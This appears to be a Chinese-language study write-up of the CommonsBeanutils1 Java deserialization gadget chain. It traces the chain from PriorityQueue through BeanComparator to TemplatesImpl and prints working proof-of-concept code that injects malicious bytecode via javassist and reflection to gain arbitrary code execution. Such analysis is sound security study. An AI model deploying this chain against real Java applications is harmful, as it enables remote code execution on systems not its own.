依赖环境
1 | commons-beanutils:1.9.2 |
触发流程
1 | PriorityQueue.readObject() |
Payload
利用链的前半部分还是一样,通过队列中的元素比较,调用某个类的 compare
方法,这次的换成了 org.apache.commons.beanutils.BeanComparator
类:
可以看到如果 this.property
不为空, 则执行 PropertyUtils.getProperty(o1, this.property);
,而 this.property
是通过 BeanComparator
的构造函数传入的,在看 PropertyUtils.getProperty
方法:
这里跳过了很多步骤,简而言之,该方法就是调用传入对象的传入 getter
方法,按照这里的利用链是 TemplatesImpl
的 getOutputProperties
方法,当然,这2个参数都是能控制的,接下来跟进 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties
方法:
这里就执行了 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.newTransformer
方法:
接下来就是 getTransletInstance
方法:
根据字节码重建自定义类:
这里的流程和 Commonscollections2
反序列化一致,加载自定义类实现任意代码执行;
反序列化的原理已经清楚了,现在就要根据原理构造 POC 了。
首先还是创建一个自定义类,带有 EXP 并继承 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet
,为啥要继承在 Commonscollections2
里由提到:
1 | package com.study.exp; |
然后用 javassist
将恶意类通过反射的方法插入到 TemplatesImpl
的 _bytecodes
的变量中:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15public static Object createTemplatesImpl() throws Exception{
return Boolean.parseBoolean(System.getProperty("properXalan", "false")) ? createTemplatesImpl( Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"), Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"), Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl")) : createTemplatesImpl(TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
public static <T> T createTemplatesImpl(Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory) throws Exception {
T templates = tplClass.newInstance();
ClassPool pool = ClassPool.getDefault();
setFieldValue(templates, "_bytecodes",new byte[][]{
ClassPool.getDefault().get(CommonsBeanutilsEXP.class.getName()).toBytecode()
});
setFieldValue(templates, "_name", "Pwnr");
setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}
最后实例化 org.apache.commons.beanutils.BeanComparator
并作为 PriorityQueue
的比较器,然后通过反射的方式将构造的 TemplatesImpl
放入 PriorityQueue
的参数即可:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception{
final Object templates = createTemplatesImpl();
// mock method name until armed
final BeanComparator comparator = new BeanComparator("lowestSetBit");
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(new BigInteger("1"));
queue.add(new BigInteger("1"));
// switch method called by comparator
setFieldValue(comparator, "property", "outputProperties");
setFieldValue(queue, "queue", new Object[]{templates, templates});
tools.Deserialize(queue);